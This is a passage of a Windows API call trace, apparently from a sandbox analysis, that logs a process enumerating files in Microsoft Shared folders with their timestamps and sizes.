ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0203.716] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0203.716] GetProcessHeap () returned 0x550000 [0203.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0203.716] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0203.716] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0203.716] GetProcessHeap () returned 0x550000 [0203.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0203.718] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0203.718] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0203.718] ResetEvent (hEvent=0xe0) returned 1 [0203.718] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0203.952] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0203.952] ResetEvent (hEvent=0xe0) returned 1 [0203.952] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0203.964] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0203.964] ResetEvent (hEvent=0xe0) returned 1 [0203.964] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0205.993] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0205.993] ResetEvent (hEvent=0xe0) returned 1 [0205.993] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0206.765] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0206.765] ResetEvent (hEvent=0xe0) returned 1 [0206.765] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0206.930] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0206.930] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0206.930] ResetEvent (hEvent=0xe0) returned 1 [0206.930] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0207.197] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0207.197] ResetEvent (hEvent=0xe0) returned 1 [0207.197] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0207.770] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0207.770] ResetEvent (hEvent=0xe0) returned 1 [0207.771] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0208.287] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0208.287] ResetEvent (hEvent=0xe0) returned 1 [0208.287] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0209.981] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0209.981] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0209.983] GetProcessHeap () returned 0x550000 [0209.983] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0210.000] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0210.000] GetProcessHeap () returned 0x550000 [0210.000] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0210.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0210.002] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.003] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0210.003] ResetEvent (hEvent=0xe0) returned 1 [0210.003] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0210.150] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0210.150] ResetEvent (hEvent=0xe0) returned 1 [0210.150] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0210.448] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0210.448] ResetEvent (hEvent=0xe0) returned 1 [0210.448] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0210.663] ResetEvent (hEvent=0xe0) returned 1 [0210.664] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0211.112] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0211.112] ResetEvent (hEvent=0xe0) returned 1 [0211.112] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0211.162] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0211.163] ResetEvent (hEvent=0xe0) returned 1 [0211.163] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0211.869] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0211.869] ResetEvent (hEvent=0xe0) returned 1 [0211.869] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0213.636] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0213.636] ResetEvent (hEvent=0xe0) returned 1 [0213.636] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0214.921] ResetEvent (hEvent=0xe0) returned 1 [0214.921] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0215.833] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0215.833] ResetEvent (hEvent=0xe0) returned 1 [0215.833] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0217.737] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0217.741] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0217.755] GetProcessHeap () returned 0x550000 [0217.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0217.755] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0217.755] GetProcessHeap () returned 0x550000 [0217.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0217.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0217.761] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.761] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0217.761] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0217.764] ResetEvent (hEvent=0xe0) returned 1 [0217.764] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0217.846] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0217.846] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0217.846] ResetEvent (hEvent=0xe0) returned 1 [0217.846] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0218.458] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0218.458] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0218.458] GetProcessHeap () returned 0x550000 [0218.458] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0218.458] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0218.458] GetProcessHeap () returned 0x550000 [0218.458] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0218.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0218.459] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.460] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0218.460] GetProcessHeap () returned 0x550000 [0218.460] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0218.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0218.460] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, 